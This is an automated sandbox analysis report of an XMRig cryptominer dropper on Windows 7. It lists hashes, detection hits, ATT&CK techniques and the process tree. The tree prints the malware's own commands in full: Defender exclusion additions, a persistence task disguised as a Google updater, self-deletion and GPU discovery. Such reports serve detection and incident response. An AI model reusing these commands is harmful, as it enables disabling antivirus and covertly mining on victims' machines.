xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
263s
max time network
1787s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
20/08/2023, 00:18

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General

Target

QNREJhVYDhHk52cq3.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1548 created 1196	1548	QNREJhVYDhHk52cq3.exe	9
PID 1548 created 1196	1548	QNREJhVYDhHk52cq3.exe	9
PID 1548 created 1196	1548	QNREJhVYDhHk52cq3.exe	9
PID 1548 created 1196	1548	QNREJhVYDhHk52cq3.exe	9
PID 2720 created 1196	2720	updater.exe	9
PID 2720 created 1196	2720	updater.exe	9
PID 2720 created 1196	2720	updater.exe	9
PID 2720 created 1196	2720	updater.exe	9
PID 1988 created 1196	1988	conhost.exe	9
PID 2720 created 1196	2720	updater.exe	9

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral1/memory/1776-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-145-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-147-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-149-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-151-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-153-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-155-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-157-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-159-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-161-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-163-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-165-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-167-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-169-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-171-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-173-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-175-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-177-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-179-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-181-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-183-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1776-185-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2800	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2720	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2716	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1776-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-145-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-147-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-149-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-151-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-153-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-155-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-157-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-159-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-161-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-163-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-165-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-167-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-169-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-171-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-173-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-175-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-177-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-179-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-181-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-183-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1776-185-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2720 set thread context of 1988	2720	updater.exe	55
PID 2720 set thread context of 1776	2720	updater.exe	49

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	QNREJhVYDhHk52cq3.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1620	schtasks.exe
2892	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2116	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 5038482ffcd2d901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1548	QNREJhVYDhHk52cq3.exe
1548	QNREJhVYDhHk52cq3.exe
2136	powershell.exe
1548	QNREJhVYDhHk52cq3.exe
1548	QNREJhVYDhHk52cq3.exe
2980	powershell.exe
1548	QNREJhVYDhHk52cq3.exe
1548	QNREJhVYDhHk52cq3.exe
1548	QNREJhVYDhHk52cq3.exe
1548	QNREJhVYDhHk52cq3.exe
2996	powershell.exe
2720	updater.exe
2720	updater.exe
2416	powershell.exe
2720	updater.exe
2720	updater.exe
1456	powershell.exe
2720	updater.exe
2720	updater.exe
2720	updater.exe
2720	updater.exe
1988	conhost.exe
1988	conhost.exe
2720	updater.exe
2720	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	2416	powershell.exe
Token: SeDebugPrivilege	1456	powershell.exe
Token: SeDebugPrivilege	2720	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2116	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2116	WMIC.exe
Token: SeSecurityPrivilege	2116	WMIC.exe
Token: SeTakeOwnershipPrivilege	2116	WMIC.exe
Token: SeLoadDriverPrivilege	2116	WMIC.exe
Token: SeSystemtimePrivilege	2116	WMIC.exe
Token: SeBackupPrivilege	2116	WMIC.exe
Token: SeRestorePrivilege	2116	WMIC.exe
Token: SeShutdownPrivilege	2116	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2116	WMIC.exe
Token: SeUndockPrivilege	2116	WMIC.exe
Token: SeManageVolumePrivilege	2116	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2116	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2116	WMIC.exe
Token: SeSecurityPrivilege	2116	WMIC.exe
Token: SeTakeOwnershipPrivilege	2116	WMIC.exe
Token: SeLoadDriverPrivilege	2116	WMIC.exe
Token: SeSystemtimePrivilege	2116	WMIC.exe
Token: SeBackupPrivilege	2116	WMIC.exe
Token: SeRestorePrivilege	2116	WMIC.exe
Token: SeShutdownPrivilege	2116	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2116	WMIC.exe
Token: SeUndockPrivilege	2116	WMIC.exe
Token: SeManageVolumePrivilege	2116	WMIC.exe
Token: SeLockMemoryPrivilege	1776	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2980 wrote to memory of 2892	2980	powershell.exe	34
PID 2980 wrote to memory of 2892	2980	powershell.exe	34
PID 2980 wrote to memory of 2892	2980	powershell.exe	34
PID 2800 wrote to memory of 2900	2800	cmd.exe	35
PID 2800 wrote to memory of 2900	2800	cmd.exe	35
PID 2800 wrote to memory of 2900	2800	cmd.exe	35
PID 2996 wrote to memory of 2840	2996	powershell.exe	39
PID 2996 wrote to memory of 2840	2996	powershell.exe	39
PID 2996 wrote to memory of 2840	2996	powershell.exe	39
PID 2716 wrote to memory of 2720	2716	taskeng.exe	41
PID 2716 wrote to memory of 2720	2716	taskeng.exe	41
PID 2716 wrote to memory of 2720	2716	taskeng.exe	41
PID 1456 wrote to memory of 1620	1456	powershell.exe	47
PID 1456 wrote to memory of 1620	1456	powershell.exe	47
PID 1456 wrote to memory of 1620	1456	powershell.exe	47
PID 2720 wrote to memory of 1988	2720	updater.exe	55
PID 1088 wrote to memory of 2116	1088	cmd.exe	51
PID 1088 wrote to memory of 2116	1088	cmd.exe	51
PID 1088 wrote to memory of 2116	1088	cmd.exe	51
PID 2720 wrote to memory of 1776	2720	updater.exe	49

C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe
"C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1548

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2892
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1620
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1776
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1088
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2036
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1988

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2900

C:\Windows\system32\taskeng.exe
taskeng.exe {A00A6688-BF36-418A-8509-184431E44B3B} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2716
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2720

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2840

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d04afb72e689e631daedb7a3d8b6bc5c

SHA1
fd279d80fae8fd8f3a2618b33ce5df998d9d382d

SHA256
7151a079d8921e880e98b671ad3d64c1aa46568688ad3714c6ee4f914135f8b2

SHA512
8415f3131c1d0e7b3e4514a3b5293700240224765fb762a4e89f102625babdf7c7a842411f4fa53a83bbae6b69e1e4b40d6ba36f6b3339d2fa2ea6b5b890683e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d04afb72e689e631daedb7a3d8b6bc5c

SHA1
fd279d80fae8fd8f3a2618b33ce5df998d9d382d

SHA256
7151a079d8921e880e98b671ad3d64c1aa46568688ad3714c6ee4f914135f8b2

SHA512
8415f3131c1d0e7b3e4514a3b5293700240224765fb762a4e89f102625babdf7c7a842411f4fa53a83bbae6b69e1e4b40d6ba36f6b3339d2fa2ea6b5b890683e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9SA1L91ARQ8WVW1W5EZ5.temp

Filesize
7KB

MD5
d04afb72e689e631daedb7a3d8b6bc5c

SHA1
fd279d80fae8fd8f3a2618b33ce5df998d9d382d

SHA256
7151a079d8921e880e98b671ad3d64c1aa46568688ad3714c6ee4f914135f8b2

SHA512
8415f3131c1d0e7b3e4514a3b5293700240224765fb762a4e89f102625babdf7c7a842411f4fa53a83bbae6b69e1e4b40d6ba36f6b3339d2fa2ea6b5b890683e

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/1456-111-0x0000000000F30000-0x0000000000FB0000-memory.dmp

Filesize
512KB

Download
memory/1456-110-0x0000000000F30000-0x0000000000FB0000-memory.dmp

Filesize
512KB

Download
memory/1456-112-0x0000000000F30000-0x0000000000FB0000-memory.dmp

Filesize
512KB

Download
memory/1456-109-0x0000000000F30000-0x0000000000FB0000-memory.dmp

Filesize
512KB

Download
memory/1456-107-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download
memory/1456-108-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download
memory/1456-113-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download
memory/1548-54-0x000000013FAC0000-0x000000013FCD1000-memory.dmp

Filesize
2.1MB

Download
memory/1548-82-0x000000013FAC0000-0x000000013FCD1000-memory.dmp

Filesize
2.1MB

Download
memory/1776-143-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-149-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-185-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-183-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-181-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-179-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-177-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-175-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-173-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-171-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-169-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-167-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-165-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-163-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-161-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-159-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-157-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-155-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-153-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-151-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-147-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-145-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-129-0x0000000000390000-0x00000000003B0000-memory.dmp

Filesize
128KB

Download
memory/1776-128-0x0000000000370000-0x0000000000390000-memory.dmp

Filesize
128KB

Download
memory/1776-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-118-0x0000000000180000-0x00000000001A0000-memory.dmp

Filesize
128KB

Download
memory/1776-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1776-124-0x0000000000390000-0x00000000003B0000-memory.dmp

Filesize
128KB

Download
memory/1776-123-0x0000000000370000-0x0000000000390000-memory.dmp

Filesize
128KB

Download
memory/1988-126-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1988-132-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2136-63-0x0000000002340000-0x00000000023C0000-memory.dmp

Filesize
512KB

Download
memory/2136-59-0x000000001B1A0000-0x000000001B482000-memory.dmp

Filesize
2.9MB

Download
